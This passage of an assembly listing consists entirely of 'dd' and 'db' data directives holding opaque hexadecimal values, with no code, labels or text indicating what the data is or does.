15FCDB4h, 551917A1h dd 303D85BEh, 1B0B90E4h, 0A0D8489Fh, 1620473Eh, 7B300A1h dd 7A6D5B4Ch, 727A9F5Ah, 0D11D950Ah, 0F600B074h, 0BC915FE4h dd 9B220005h, 68333EC2h, 0BE4277Bh, 0A076C10Fh, 0E150E04Dh dd 9D4EEE4h, 35CC44B8h, 50EC3487h, 55945A5h, 28764B02h dd 60BCDE90h, 7B5093C8h, 0FC4600D6h, 1A27EE61h, 320087AEh dd 882BDF7Bh, 7234E2Fh, 423BD96Bh, 3E561048h, 8F003F38h dd 469B6CD6h, 347F20h, 45A097CAh, 83EF5BE5h, 6A27A306h dd 0EA64F30h, 0B30F7310h, 7D1FE5h, 0A198D1F8h, 6D00690Eh dd 0B4A8ED4Dh, 0D8EEF5h, 0D049F432h, 5674BEC9h, 4ACE521Fh dd 0AF31E207h, 72718671h, 0AE5E80C3h, 0ECE400F3h, 0D16C407Bh dd 0E901939Ah, 0DE969B52h, 6030CF5Eh, 0B04602E6h, 0D2AFB3C8h dd 0C59F08C0h, 0CA60990Eh, 35005D3Fh, 78EC0C3Dh, 0F610F59h dd 63A07ECDh, 0BDB914F4h, 49AB8500h, 953E71D9h, 90CB00F0h dd 8260113Bh, 5A00F79Ah, 0B73C0F19h, 0DFD4BFh, 0CF80EA44h dd 0CDEEE87Dh, 0A00A7300h, 3C5941ECh, 785D0130h, 0AEA1C68Fh dd 82C8DC14h, 9163DE00h, 95C125FCh, 0A55B00E3h, 0F1D6F64Ah dd 56000803h, 4EDDDABDh, 0A47CDCCh, 0C2C7B685h, 4B581DECh dd 0EC001EDCh, 0A1F63850h, 0C5C5301h, 95E2C5D2h, 142FFCCh dd 0F99B89E0h, 0C851126Eh, 8B0ECA41h, 7468DCB0h, 5D2300CCh dd 37808EA9h, 1C2F0043h, 68CF7866h, 0C800E244h, 0A2DE028h dd 1814722Ah, 109B4733h, 0E01ED12h, 711C0960h, 0CEE0EA45h dd 6B4A58E0h, 87724h, 0D10A218Eh, 0A700C4F1h, 0FA1B10E8h dd 3AE4CA5h, 0E99F65B5h, 49A0E01Fh, 0C00739E7h, 1AC6EB21h dd 0C8134CB3h, 137C292h, 0A0A26E1Ch, 21B3488Eh, 0EC0DD4FCh dd 80F74F3Ch, 0F098305Fh, 15283CDh, 0FBC6B078h, 0F8B74604h dd 911D1705h, 3700447Bh, 858850C1h, 0E7905C3h, 0D1358DECh dd 0E8951BACh, 4601F3EFh, 29D738F2h, 1ED4ADC9h, 0B63000E5h dd 0DB1625EAh, 0F01410DDh, 7BA04089h, 0AE8138h, 37E0E6C1h dd 2AD9BDh, 0B2697698h, 0D6AFB63Ah, 0FB001EECh, 3F678D77h dd 3CC7DF51h, 2980AC20h, 85180D80h, 0BE007A61h, 62DABFE4h dd 2C8C45h, 91FFA4FDh, 199389B3h, 531FAB7Ch, 4CEC81EBh dd 0E1DFB100h, 0C0F0A1BAh, 61F62780h, 2E000ADBh, 0D4969111h dd 64443Ah, 37B4F27Eh, 48FB4DB2h, 0E3E53B02h db 40h, 0B0h, 0E6h db 0EFh dd 26B681DCh, 30E7F311h, 8077CF18h, 0B4D31E01h, 6ED01D16h dd 1A8B2FE9h, 9820A01Fh, 2A436B26h, 0ECB0700Eh, 7D1769FDh dd 0E4C9A083h, 9EEED3C1h, 2000C111h, 0F02AD7B3h, 448B002Fh dd 5FD3781h, 0B6012C40h, 5562B78Fh, 747289D6h, 0E4B1F403h dd 44A1A8DEh, 0F3EE80D7h, 5F92A181h, 0D3F018C8h, 528CE208h dd 0E1804C00h, 8B449D12h, 3E8104F4h, 0A0618311h, 590062A8h dd 0E8DEEBB0h, 7F06791h, 853DB608h, 9D2601Fh, 15002556h dd 78F48C3Fh, 188C37Eh, 28E05E54h, 80AA7D60h, 0B6E84A99h dd 7C010A5Ah, 0D4765452h, 5DB00ECDh, 0D6E68Eh, 0AE0E3B0Fh dd 381CEAC4h, 84FD163h, 980077C0h, 9AD992E2h, 0ED6B14CFh dd 4B0E94F0h, 4D013C7Ah, 0F00F4469h, 0D57C0EF9h, 261EFF0Fh dd 92772095h, 56FC9Ch, 0A8B42ABCh, 67C4E806h, 149D4Dh dd 0C236F227h, 0E52D5D9h, 0E399DC2Dh, 6249B3A3h, 0ED091096h dd 807C7DA1h, 3CC8C976h, 1DA7BBEh, 73618DB9h, 0A09267B5h dd 330A8E51h, 0A1E5A0E1h, 0F73C9D00h, 56FCBh, 0A984D194h dd 344DD007h, 74D68313h, 628901AEh, 2C572572h, 65CF0064h dd 5EAE390Dh, 0E84B94h, 0A015B70h, 260B38D8h, 80FAC054h dd 0E699587Eh, 0B8A8557Dh, 0DA0CE4h, 1F627EC7h, 0B73B25F7h dd 897C070Ch, 0E30615Bh, 0DC9D704h, 0B92A06C0h, 4D05BC6Ah dd 1492D619h, 0A9C8D890h, 415C0051h, 97793536h, 36981ED5h dd 7D3E5872h, 75B00080h, 9DCC087Ch, 0F80D07F9h, 8F09BA9Eh dd 0ECE5099Bh, 0AC350044h, 4F1ADB30h, 14D8002Ch, 81CF750Ch dd 28D9418Dh, 0C0605930h, 97380104h, 0D3846A91h, 1860852Eh dd 0F980DD34h, 0CED4328Dh, 3E807631h, 5BDA6CE7h, 1A4DB906h dd 401F28h, 9AE9A523h, 211B5CAEh, 18FA1831h, 7081A36Eh dd 76AB083Ch, 9AA980B9h, 20FF0F14h, 0A2F81E84h, 7308F31Bh dd 0EB79E105h, 0DC805F0Fh, 37351738h, 2089D630h, 6EA0A670h dd 8AEB6A03h, 0C9B59BF1h, 80BFA1FDh, 2E1C1500h, 9C8D82EFh dd 94665106h, 641DB6Dh, 5F041ACCh, 340120F9h, 6C816E41h dd 0E374DBh, 1E538FA1h, 7E3E2D36h, 5B541DEEh, 4118D09Ch dd 9E509516h, 0BCEE281Ch, 0CCAF38ACh, 0BAC1C3B1h, 2F63CC29h dd 0C280D103h, 30988A8Fh, 0CA215D08h, 140C6475h, 99A16558h dd 0B0E2031Ch, 0B66F0ABCh, 0CE2060C6h, 0CD00FC2h, 0A960BE7Bh dd 739FBD54h, 0C9663612h, 0AE901400h, 0A2E5B4h, 0B32E92AFh dd 0E101DD08h, 6152A30Fh, 8A4AC0BDh, 32AC3834h, 0C011C194h dd 0CE1804BCh, 52107C16h, 1B690062h, 33BB5815h, 380089C2h dd 0BF56EDE4h, 0F21F3BCEh, 12521BDFh, 27E42967h, 455EAD2h dd 0B4DD20D7h, 583801Ch, 0C89C5C88h, 1C43D351h, 672922A0h dd 43010300h, 0EC17975Dh, 75F500BFh, 51551F0Ch, 0B70084A3h dd 2CDCC2B9h, 0B86FE649h, 0D9892612h, 369303F7h, 9CE98531h dd 0A9FDDC92h, 56C17700h, 0E9EA421h, 6CD30024h, 39057B6Dh dd 4F00BD57h, 0E27DF83Ch, 0E556B5h, 0B450AEC7h, 903D518Ah dd 10EDBE00h, 5C58301Ch, 61A1036Fh, 5A9DF33Eh, 79F71000h dd 64C68902h, 7382000Dh, 7E90548Eh, 6001B72Dh, 3242EDAAh dd 0BC519F2Fh, 35CC87C5h, 0AD7080h, 39310E77h, 981978C6h dd 93CAEE00h, 0CB041D72h, 185B70B7h, 28763261h, 0AA0037C6h dd 0A936C530h, 8B447h, 0B1DD7E2Dh, 209EAC4Ah, 2B9DE700h dd 6D7357A3h, 0C4FD15EFh, 1303FC81h, 89320A2Ah, 0D16CD2C0h dd 2C110F00h, 0BEB91729h, 0FBD700E5h, 84C0A9D6h, 3500A2A3h dd 0E3E88E77h, 26F1982Fh, 17DD2C8h, 0B076FECFh, 0A9989E72h dd 0A0F85F81h, 2BE0079Eh, 7FD795Ah, 0E29894E8h, 3C202906h dd 0D688715Ch, 0D304A570h, 75A36317h, 0F37EB083h, 0DF100B18h dd 0F081D06Dh, 0C5FE0882h, 95C1808Bh, 796B9ED2h, 80C50027h dd 0AEDE0F71h, 4D007514h, 134CD04h, 24D549h, 12DA1799h dd 0EC1D0D97h, 0BD2DA200h, 0C42815F9h, 211A00FAh, 4DEB5C50h dd 0B500656Fh, 0CED863CDh, 385AAD98h, 181F69B4h, 8C0B40B9h dd 17D30F0h, 633C6D26h, 573E0600h, 3962CFh, 88707E2Bh dd 0C0B1F16Eh, 0AC2A7F18h, 0FC011D10h, 2013038Dh, 76CD9875h dd 3DD51803h, 0E0690E0Dh, 48080190h, 4400483Fh, 919F0CB9h dd 7578A812h, 0C350BFECh, 0A601C68Ch, 0B904F526h, 6FFC1E4Fh dd 6D2000F8h, 48BA06B4h, 92765E9Fh, 28525A00h, 33D5FEA8h dd 1E129078h, 0C06E8BF5h, 6904EDCFh, 6700E9E5h, 8DF2C847h dd 0F5D4AAh, 0FFFF42Eh, 7FB0ECDFh, 0BCA00C73h, 0A90023CCh dd 696279Ah, 0FBB5347h, 9B367E6h, 0BD3DFAEFh, 11001D3Ch dd 0F449F657h, 0AB4816B7h, 9AC001Bh, 5FC3F7B6h, 0D00B0019h dd 936113DBh, 0E450FC6Eh, 44011CB6h, 31680D09h, 8FE8E2A4h dd 136B002Ch, 1AFD6C1Bh, 0A60066D3h, 2393CD28h, 31408A4h dd 0B113EC83h, 769161B3h, 0C09440BDh, 5E3DC6EFh, 15DA808Ch dd 5A7DAC82h, 0FB432483h, 0C5040050h, 0FC1B6EF6h, 2F9610CEh dd 0CCAE8055h, 0A1D22CF9h, 9421F890h, 0B310D0h, 680B4B1Eh dd 0C252903Ah, 0D358B800h, 8A0A867Ah, 0DCC4283Fh, 0D53E00ECh dd 0C375E82Dh, 8D00BF1Dh, 0A9865589h, 0F6A59AEEh, 8AF4028Eh dd 0FF60238Bh, 89E3D090h, 0F63E2898h, 80A8255h, 60567CEDh dd 0C0BB4Dh, 7B1F498h, 0C6BCC968h, 46A9CB00h, 21A2E8D9h dd 0C1C0E744h, 0F8062617h, 0D86836Ch, 0A3D0A996h, 73048174h dd 379A56BFh, 7EF0C1C7h, 0EBD6F8h, 2BA7318Eh, 946E8A76h dd 0D4007478h, 3524663Fh, 27D0D17h, 461CBD02h, 42405F52h dd 0D7F26C77h, 0D51621FEh, 7202DF25h, 40AEE41Fh, 7EBB418h dd 7E0FF241h, 0C37AF05Dh, 0DA007FBEh, 2ED26011h, 155CB6Fh dd 0CEEF59DCh, 9DCFFC30h, 0A480777Eh, 3B0FBDF1h, 43210288h dd 5F6BFD48h, 0B8E41840h, 82B3B221h, 0D3E62624h, 0FFA10C60h dd 2F005F7Eh, 0DF233E88h, 12EAA61h, 6B9ACC59h, 0C8FB7282h dd 994CA0B1h, 0F05201C6h, 30E0336Eh, 0A97AE040h, 2F6600E6h dd 0AF03ECFCh, 2400614Ch, 0F2AAEEA4h, 1F09D055h, 80E25FDFh dd 0D8706EA8h, 3300D77Bh, 0E1568B6Bh, 2793B47h, 876ADA7Dh dd 75743Eh, 55316CF3h, 17120021h, 4AF758E4h, 0B109103Fh dd 0F2C62BEh, 80F5A010h, 52E38Ah, 8E03A993h, 2E734BFDh dd 5EE7A400h, 0A318C63Ah, 1C2A1407h, 7C00B8D9h, 0D6CAB9B2h dd 0F7009526h, 17F68B42h, 79D918A2h, 23781EAAh, 678000CDh dd 0CE85F9A6h, 0FE5C4600h, 45B91CA9h, 18F3000Eh, 0CC809BAAh dd 40826503h, 58B48A7Ch, 0AF041F1Eh, 822B96CAh, 5840676Dh dd 4D07F0C8h, 6312D369h, 457422B0h, 2187EFD8h, 0B0C579DFh dd 2CE357A4h, 90EC410Bh, 823802FFh, 6670E1BAh, 0EEDDC1C9h dd 383E37F4h, 0B0773A6Ch, 81B0218h, 0E64F5BCBh, 7DAD2A60h dd 4B1448h, 6F7CAB59h, 0D64A80h, 0A7CE9124h, 0D1714D8Ah dd 9B2CFC00h, 318D492Eh, 3B8B0193h, 0F94EA305h, 6608708Ah dd 2C1C1626h, 3CA15F40h, 2E98CF2Ah, 26A5A8A0h, 2000C5A7h dd 0A36213EBh, 79A845Dh, 2F82F5E5h, 8C400FBDh, 0B37EF603h dd 48EE5C00h, 0D3BFC15Eh, 8F132689h, 1CF00054h, 3F7F497Ch dd 799BA301h, 8DA0DE88h, 0C7172180h, 0AD270BB3h, 49CA650Fh dd 28E0C731h, 0EBC18872h, 6C4CE834h, 0D33406C6h, 1995479Dh dd 6971ED1Dh, 8111AD58h, 7FD60040h, 722703E7h, 520C5DA5h dd 20D8C857h, 0DF9703A2h dd 0DD8BAE9Ah, 932D76A0h, 6153D00Eh, 89EC0D3h, 7A091A06h dd 5EF02CC8h, 50C900F0h, 0AF2CDF66h, 3A74425Ch, 62AE0634h dd 4C585EB4h, 0F8073B5Ah, 90013730h, 7A96198Ch, 202BC430h dd 0F03DD8DAh, 81B800AFh, 22D1AC18h, 0D92E0169h, 2042283Ah dd 2790005Fh, 0E406B757h, 82D7626Fh, 0B2D0089h, 0D36C407Dh dd 0A633C5C8h, 0D0856122h, 0EE521Dh, 1F42F4FDh, 0E1B2667Bh dd 0E8006377h, 0D639C9F7h, 94F0E0h, 0AD8D5403h, 534F1C73h dd 500F49Ah, 369117B5h, 0BA2A447h, 0B9AA7213h, 0FBAB3820h dd 0E701B508h, 307C6999h, 5434F0DBh, 0F2B90B43h, 448087AFh dd 0C5D72096h, 74A9AE01h, 402B56F3h, 346A3E4h, 49F89161h dd 25F86C2Ah, 2F097DA8h, 2B3CE1h, 611857DCh, 0EB603C8h dd 788B3EF8h, 0B7FBE090h, 196F7E00h, 0ED8550B2h, 738D5CFAh dd 83365500h, 95E3B6CDh, 0E8324100h, 0C194C057h, 4D0802E4h dd 2DA044F1h, 0CB6411E0h, 72007479h, 95942F17h, 23E184h dd 73E51966h, 3CEEB20Ah, 7D28A100h, 1A4C57ECh, 0C1C503F4h dd 0A64AC946h, 27621290h, 2C387400h, 5C0497FDh, 0D1D500C7h dd 52F0EE9Fh, 348FA91h, 0B7170743h, 0C380DC8Ah, 984269h dd 0E47FD278h, 0FD3238E8h, 640309B8h, 26E3A1E2h, 0C98800F2h dd 79BF59F9h, 4C905BACh, 0E18A9A00h, 0DFCD36D0h, 62920043h dd 3DA734CCh, 290156B2h, 0BE230560h, 70E8F265h, 0A2A009Bh dd 0DFCFB04Dh, 51E1874h, 1F9F50F6h, 930FB9D6h, 437160A6h dd 3684DEh, 0EAD65A62h, 0F6EFB185h, 0A8E39113h, 783C49h dd 3F4CDD7Ch, 0E89A0075h, 1CD36A6Dh, 1D7EC985h, 0CFA51700h dd 0BB0D79E3h, 3F38009Ch, 51D02001h, 0E7E48191h, 0D4FCAF75h dd 0BA33CA01h, 460A8337h, 0CF51C7C4h, 0D840B329h, 3D05116Ch dd 9D317300h, 49323628h, 0ADF82216h, 0BDB7E700h, 57BA976Dh dd 0B9766Fh, 99F2B349h, 44C50365h, 700DC9Ah, 0E127B61Ch dd 131787Ah, 0D83C64E0h, 2051A0A5h, 6B00D9ACh, 0CFE9959Bh dd 63A18Fh, 96865072h, 2E9829DCh, 56820E17h, 13618D00h dd 3BFDC6BAh, 0AC8084AAh, 8658F6A4h, 8504B65Fh, 0C7937B32h dd 33488B0h, 0E9248AB0h, 70EFDEA7h, 694647C8h, 53BB2D00h dd 0D8F04929h, 5F9400F6h, 0EA5D0AFBh, 4F0B8819h, 300118h dd 8AE943E0h, 0A85400B1h, 0BF94F2E5h, 0FF0063B3h, 6B9B8B2Fh dd 73346450h, 7A6C0009h, 4652730Dh, 80003A54h, 1DE45860h dd 780A7413h, 0BDC61FDAh, 712804Eh, 3845EE5Bh, 0B3EA1F00h dd 0BFF2EDFFh, 4061EFC1h, 70BF3FCh, 349F939Ch, 543DF0F7h dd 19004C58h, 41B0BBEBh, 0E64168Ah, 0CAE80ED1h, 3B48B160h dd 6D2CDBE7h, 0D4004889h, 0E345FBCBh, 41BA2C8Fh, 56260240h dd 3C1C1955h, 0DC8328D1h, 0F15EB26Dh, 0ABA3D800h, 0FA1F6190h dd 627E004Dh, 0E72501ADh, 32047A27h, 0E49AFB66h, 7815C0B0h dd 5F10004Fh, 56AB60B2h, 0AD1DC909h, 8E400E49h, 28E298E1h dd 0E8E4607Ch, 0A6EB7095h, 250024FCh, 141F1BAh, 0E23A450h dd 118771CEh, 0A8A0C58Bh, 0AA1275Ah, 0F211C660h, 67BF2BB0h dd 0E0BBC028h, 0FDE2217Bh, 84B8A377h, 80C77C3Bh, 9C14B709h dd 0E695C5h, 0EACBE976h, 0BF462FD1h, 2CAB20C0h, 0CE6B4814h dd 22F7458h, 9112F4Ch, 13289100h, 10A6FAB5h, 1D6F00EDh dd 254027D8h, 8A0072D1h, 39C48992h, 0CE55B9BCh, 0E8800639h dd 0FB2CD8E7h, 0FF00F4B8h, 0DCE7FBFh, 0E0F9DBh, 0AF974687h dd 4D80F058h, 1BAEE200h, 0B9B8EB2Ch, 7C8E00B6h, 0AD16AF5Bh dd 0ECE935C5h, 0D006619h, 0FD15FEC4h, 309AA0C0h, 0C2600818h dd 4E4E3E02h, 5AA15800h, 30788C60h, 4820C8F2h, 197D5FC5h dd 6A54EF00h, 0A88E11D6h, 0A6E6C0h, 2ED3B34Eh, 0E5D2F82Ah dd 646FC00h, 0DF95E983h, 58B20Bh, 75E1EEC7h, 2EADF7C9h dd 918E3C00h, 33691A5Fh, 5C9F58A9h, 0CF900271h, 0E5A6F25Dh dd 1109D380h, 36029C0Fh, 182E17EFh, 0AA70E043h, 6AA00492h dd 0C783CE32h, 49F2610Ch, 0DD3960B4h, 44566300h, 0EA48D95Bh dd 39206BC6h, 73CAE400h, 0EF3812B7h, 0D92DFDh, 50B9E844h dd 3DD000D6h, 5AE04E13h, 0E3095571h, 0E09F0B90h, 0F62E583Ch dd 47FA0B56h, 0EC258D35h, 47941305h, 0F0ABACECh, 0F7713AB7h dd 0F09E4100h, 4BCFE49Fh, 0C28C004h, 32C2D1DBh, 7110C560h dd 3CDD0DC1h, 0DF00B519h, 0C29E1718h, 359841A8h, 8B359828h dd 0E0F88000h, 0EBB3DAF7h, 0D68D06BEh, 497AAEFDh, 0EC52CE0Ah dd 7E00F868h, 7D456FA6h, 84C009DAh, 8C40B3A8h, 7F1F9EF2h dd 649C4DFDh, 44F0AE40h, 1B41609h, 1E70CF9h, 0E98067EEh dd 7D588306h, 0D9434594h, 0D44091A5h, 5D55FAFh, 81D69D7Ch dd 1EC0122Ch, 266D46BCh, 5200102Dh, 850914BDh, 3906E9DCh dd 0AD8083F5h, 0E56F783Dh, 0E63B4A62h, 0FE08804Bh, 534993C5h dd 6560C096h, 12C8EE3Ch, 0BFD73E01h, 0BAC3172Bh, 26D1830h dd 298A7A4Bh, 862E602h, 0CD88A100h, 0EB4937A4h, 7E6700ECh dd 0BFAACA3Dh, 1595038Dh, 0A125CB1Bh, 0A030BDD8h, 2FE4E700h dd 74368C0Fh, 0C74D1758h, 89D00371h, 0F4907638h, 801C0372h dd 2A537922h, 92A2C880h, 3024138Fh, 834C02F3h, 0F702E58Eh dd 0CEFF6077h, 0DCCA004Ch, 71120BF5h, 79F4953Fh, 38F07548h dd 0F9EA8036h, 91F1676Bh, 964A0033h, 89698CD6h, 36000C13h dd 0E3043551h, 77EC35Dh, 0B76D270h, 84F49321h, 0E88048C6h dd 910B7BCFh, 1862C4D6h, 3B2F314h, 0DB98711Ah, 80948E84h dd 0C1480104h, 0BE08FB00h, 0A422E537h, 43790029h, 215E6CB9h dd 0B4007B24h, 71A1E8D0h, 2FACE7h, 0BA01B880h, 8A4FC182h dd 0C7FC1170h, 293A7C92h, 38620B2h, 7047156Ah, 93E06014h dd 200065B4h, 1F88DF25h, 9CD61C03h, 0A8917700h, 0C77D1C80h dd 0E0FB2A1h, 0A0446D06h, 0E3E26684h, 3CEF0005h, 539621A2h dd 0A39BC97h, 16B2072Eh, 212DF24h, 4900407Ah, 40C25B77h dd 37239080h, 3E3D7803h, 9272BBC8h, 180064C1h, 4189263h dd 753424A0h, 0FEA5006Eh, 0AC030B3h, 0CCBB0102h, 40DA8B4Ah dd 0F9CF018h, 0CF533281h, 65B4C0F6h, 361ED16Ch, 0C783798Dh dd 0B0641463h, 901DADE4h, 27420068h, 85E30F54h, 0EF13519Ch dd 0E0076C47h, 0B4D0831Eh, 0C35CB024h, 0DD2D2290h, 890997C0h dd 480708F0h, 907BAB95h, 0D89580C4h, 137C5500h, 4C8D4177h dd 6324DDE3h, 27F803A7h, 6DC01073h, 3000A939h, 0DAEBBC09h dd 2D8F475Ch, 2800148Dh, 0E6D57246h, 0A301E279h, 0D09B73B3h dd 0D980588Ch, 0F27726E9h, 0E2009545h, 41EB2164h, 3C1482C3h dd 5F801297h, 0EC807301h, 6E3D7804h, 0C9D600D8h, 0A7E5C87Ah dd 48252498h, 8EE91CBCh, 4E4086C3h, 0B24430A3h, 0EB59770Eh dd 49E2616Ch, 0A4484CF4h, 0A48726C5h, 8B99003Ch, 47912EAh dd 0A2FE3400h, 0DF9DF90h, 275B009Fh, 31521B56h, 0BD00D048h dd 0EAD2D570h, 4F835h, 14980D4Bh, 61B9D6D9h, 0A8EEE51Fh dd 115EC5C0h, 1A2864h, 0EF8ACAA7h, 0C3E573CEh, 0F2FA9500h dd 2655AF1Eh, 1B3600EDh, 52624AC6h, 0DD1F88B4h, 0D78EBE1Ah dd 918F80E6h, 0FFDA9D5h, 0DEA1BD11h, 7EA0E5AFh, 24DC9D8Ah dd 0C40087ECh, 0A0A47F41h, 480AEEF5h, 6F15A206h, 7E00B413h dd 5FD3CAC7h, 0E4B19E76h, 3566FF00h, 0F67219Ah, 6C379953h dd 30228E20h, 0E00935Dh, 0F1CC4C32h, 70C04039h, 0BF5900EDh dd 5EB3649Bh, 0FE2C5355h dd 8504E088h, 74D0BC4Bh, 16DECCDh, 7689A603h, 807F44E2h dd 0DE802D18h, 28CE2EB3h, 281842CBh, 7241655h, 41DD8D95h dd 4DDC50B3h, 8B006537h, 2CAE79E8h, 7808DED0h, 66D9C57Eh dd 0E1FCF1E6h, 0BD708001h, 263CD9C3h, 888EBF9Dh, 9018830Ah dd 0F60386BFh, 0A5F73AA0h, 0A2017A05h, 0FF440AEAh, 7BE9014h dd 0C2388361h, 791A4260h, 0DAA0009Fh, 936BFC2Ch, 0B900F782h dd 817E151Ch, 4CEADFh, 0B7024183h, 403D4568h, 887F9100h dd 786F3401h, 47420019h, 52670C2Fh, 0ED076813h, 6951663Ah dd 0A2E96510h, 3C5317E1h, 472B0006h, 2118C6FDh, 1600ECB8h dd 20F5BA6Ah, 7B6564Dh, 0ACF44835h, 3C7E2001h, 54E4F685h dd 0D4611915h, 23F401B4h, 8F9C7514h, 0E342FCh, 0FF0C4434h dd 55498DB4h, 0DB6E2517h, 739A7800h, 0B8390E38h, 3D7514D0h dd 0D70024FDh, 0FFE9D920h, 954612h, 0AB41BEC4h, 60150008h dd 8934936Ah, 0C9014570h, 0CB032CA7h, 92F48D4Dh, 252F3096h dd 24177310h, 0EA8ED315h, 0CD748D0h, 201DE2F0h, 9D060064h dd 0D120D8DBh, 4506BEF7h, 0EEB9B38Eh, 0BF500131h, 0FA9E14DDh dd 0B0DAE8D8h, 80FB5F3Fh, 66D35881h, 6996F9Ch, 0D8C184F8h dd 0E50A396Eh, 68D556CBh, 0E8376A0Dh, 7CC01CF1h, 581F1850h dd 86F021DCh, 0ADCD1707h, 3150033Bh, 0F8C624h, 4A745220h dd 0E44B2D0Eh, 0BE1E5600h, 0CD668D49h, 877B89h, 0B7B169E1h dd 4078AC7h, 128E130Eh, 7DBC834Eh, 4114310h, 0CE9167A0h dd 88AD10C0h, 139A2CAh, 6FC01DF2h, 0FC697D90h, 8200EAD6h dd 234B0C2Dh, 0FFEFAh, 786144CFh, 0DA1492F0h, 27034000h dd 4651DC38h, 0FE050FECh, 4240212Ah, 806487A9h, 6C413900h dd 0A3697040h, 295800E6h, 26F10E88h, 23079ABFh, 8F73A57Dh dd 44838AB0h, 2C02E63Fh, 34B77E0h, 527DB75Bh, 0AD284101h dd 0EAAB781Fh, 7AA2F8h, 0DA02991Ah, 8C247945h, 422EC0F8h dd 0DD0072EDh, 2F1AC129h, 8EE50050h, 0B3FAF881h, 9D7557D0h dd 89139500h, 93676315h, 0B7760042h, 7308C2A8h, 6A001781h dd 15C3EDD1h, 3950Ch, 79F86441h, 60A8EAF3h, 0A600F474h dd 0CC9D7D76h, 0E5E8D78h, 0CBED670Bh, 50F845E7h, 0DEA3174Fh dd 0F86EF5A1h, 0D300F0BFh, 0B5112671h, 1236089Ch, 18C853D6h dd 0D0BC31CAh, 73DA4E00h, 25F35CFDh, 0D81150A3h, 7A2B001Ah dd 608340B0h, 4874C603h, 1D574Ch, 0EB91C88Ah, 0D2149Bh dd 4DA041E0h, 0D977341Ch, 0BDCB751Fh, 0B53DD440h, 0E7957Ah dd 0E5FACA1Ah, 4A8FF853h, 0CF4E9E00h, 1DF3E0C8h, 189212h dd 568CE42Eh, 43B9DE46h, 0B8D73D00h, 0DABD166Eh, 256A0092h dd 4479ABAFh, 0F614B3DFh, 90E6F8h, 0D6E88D57h, 3905F235h dd 36008F79h, 1B93243Bh, 4C2877ADh, 4203ECDFh, 804E967Bh dd 0D36ED037h, 9011008Ch, 990E54E4h, 0D900CE44h, 0F398EA21h dd 0A87D8h, 3388C10Dh, 0D3E7D777h, 7DF6C23Ch, 0E663D500h dd 75E223A3h, 0DE8B0016h, 0C4D3935Eh, 3612B06Fh, 840613EDh dd 7B7181DCh, 72700097h, 7F8B906Bh, 81B8F2D8h, 45FBA080h dd 0CF2D1100h, 19AB078Eh, 50900EF7h, 6D805171h, 4E0FF604h dd 8EE54A3Ch, 0E0073989h, 157DB31Ch, 0CB6D0443h, 8026B035h dd 787E433h, 70564400h, 0A6310F06h, 609800B1h, 7874EDFAh dd 0A300A0FEh, 8E1E773Eh, 0E97F5Ch, 0FAF3AC50h, 2F58DCA2h dd 0BEDB8302h, 8803CB84h, 6403D4ACh, 8844BADDh, 1C163224h dd 6A4ACF7Fh, 0BD42B4h, 0B78F3C35h, 57D8F6h, 0D15ABC58h dd 0E81D9CEEh, 16C21400h, 92C3E6EAh, 379A0045h, 0CCECA3EFh dd 0A500FBEEh, 8FCDD407h, 519F4E98h, 77ECDD99h, 45BC004Dh dd 0B2562221h, 0EE502A80h, 0D5E05FA0h, 3005CF4h, 0D63C0DC1h dd 0FA4A8D8Ah, 0E2873ADAh, 0CFA3D701h, 0F86746D4h, 8C031B2Bh dd 0B1993B38h, 13E1008Fh, 0FE3E8053h, 0B0007904h, 0DA0B57CBh dd 430F58h, 0AA2EC6D1h, 8C509A21h, 3D3AAC3Fh, 7A1B8067h dd 6F3C4A2Ch, 0D2E307A8h, 7BA310h, 0D1A9F407h, 63033A1Dh dd 870D9780h, 0E9C23h, 0F73F2AB2h, 0C3FEAAFCh, 0F1AE5900h dd 0ED0688DDh, 0ADF92842h, 913F00ABh, 0F8E42394h, 18F678F1h dd 0DA9C9E0Fh, 0F34A8099h, 877DEEh, 387B7744h, 60C562FDh dd 0DCEA1900h, 298ED721h, 0B8862CE2h, 7F60011h, 6597FBBEh dd 0D0F89060h, 719371Fh, 62982AEDh, 0BFA9108Ah, 8300AAF1h dd 25BA05C2h, 12C63Ah, 0E52C21A1h, 5558752Eh, 0FC8B5728h dd 3105F700h, 0BDEAAECFh, 0DC6105A8h, 114EF54h, 79F9AC84h dd 4DE5D004h, 0F7524700h, 897862D7h, 6D714Ah, 0DA97A7AAh dd 7C58FED0h, 5B6E2300h, 484F327Dh, 8433D4Ah, 82F43600h dd 0A21B88B6h, 2A2DA601h, 0F04F09BCh, 963FCCh, 239EF250h dd 0E3FEAE35h, 727838h, 954ADA92h, 3B0C9BDFh, 784D13DBh dd 0ABFDB002h, 0A7C108EFh, 1E914032h, 0FCE785D2h, 75006E94h dd 450AE388h, 0EB3BF1Dh, 477F974Fh, 0A6B07C20h, 58001968h dd 6283254Dh, 0B6EC172h, 0AA9FAACh, 0F16BF080h, 380091BBh dd 0E8972369h, 1AD0E99h, 0DD58C951h, 3074C796h, 0E10008F3h dd 34A7431Dh, 9B41329h, 61F8249Ah, 0AE45020h, 0F0A644Eh dd 0B4793415h, 7E27AF03h, 0A752C02Dh, 94A0078h, 0BA1526F3h dd 0B600E006h, 836F89CEh, 90D43934h, 732E00FAh, 0A853511Bh dd 0E700E0B1h, 0F72224CEh, 0C02793BDh, 0C0ED6958h, 8D03EFF6h dd 0C1B99F23h, 0D1DD98F3h, 73A2001Eh, 163BA9A3h, 0D700185Fh dd 0B9ECC323h, 1F0D94A4h, 0BF425Ch, 3A335B51h, 5E005D8Fh dd 0CEFD2F31h, 58AE8159h, 0F1B01863h, 0AC00A29Fh, 887C221Ah dd 0FCFA4565h, 4D05009Bh, 0BA39E7F5h, 8E1E3310h, 0BD5C5CF0h dd 0E33B1A40h, 431B27h, 0CCE71DD4h, 0A8CA07D9h, 0B0D76707h dd 83303A63h, 7E44579Ch, 1BB021h, 2C6FC342h, 3894BDAAh dd 0F18ECE00h, 655217A8h, 0F28E240h, 0F9B61A42h, 3B5EA560h dd 0C90E0492h, 0A94C5Ah, 0F14043B7h, 5EE3A005h, 185D603Dh dd 59763AB2h, 0D6150300h, 0DB1A01AAh, 0D4E2013Eh, 4E5597E9h dd 4026E052h, 330EBF16h, 3198FC01h, 32C46CB6h, 0F3B90013h dd 0EFEB1D1Eh, 80E94752h, 0F89AC78Ch, 94119Bh, 0AD15604h dd 3AE09160h, 0F930E90Fh, 63868E8Dh, 80662BB2h, 0B4FA57Eh dd 0C60802C7h, 70BF4C27h, 3589E58Ch, 0DD0E4571h, 814755B9h dd 0E24A32B8h, 0FFC3CFCh, 226AA6AEh, 37658BE0h, 9400AAB4h dd 0BA5E734h, 0F6D7BF45h, 0DAC30069h, 8A655038h, 0ECB02572h dd 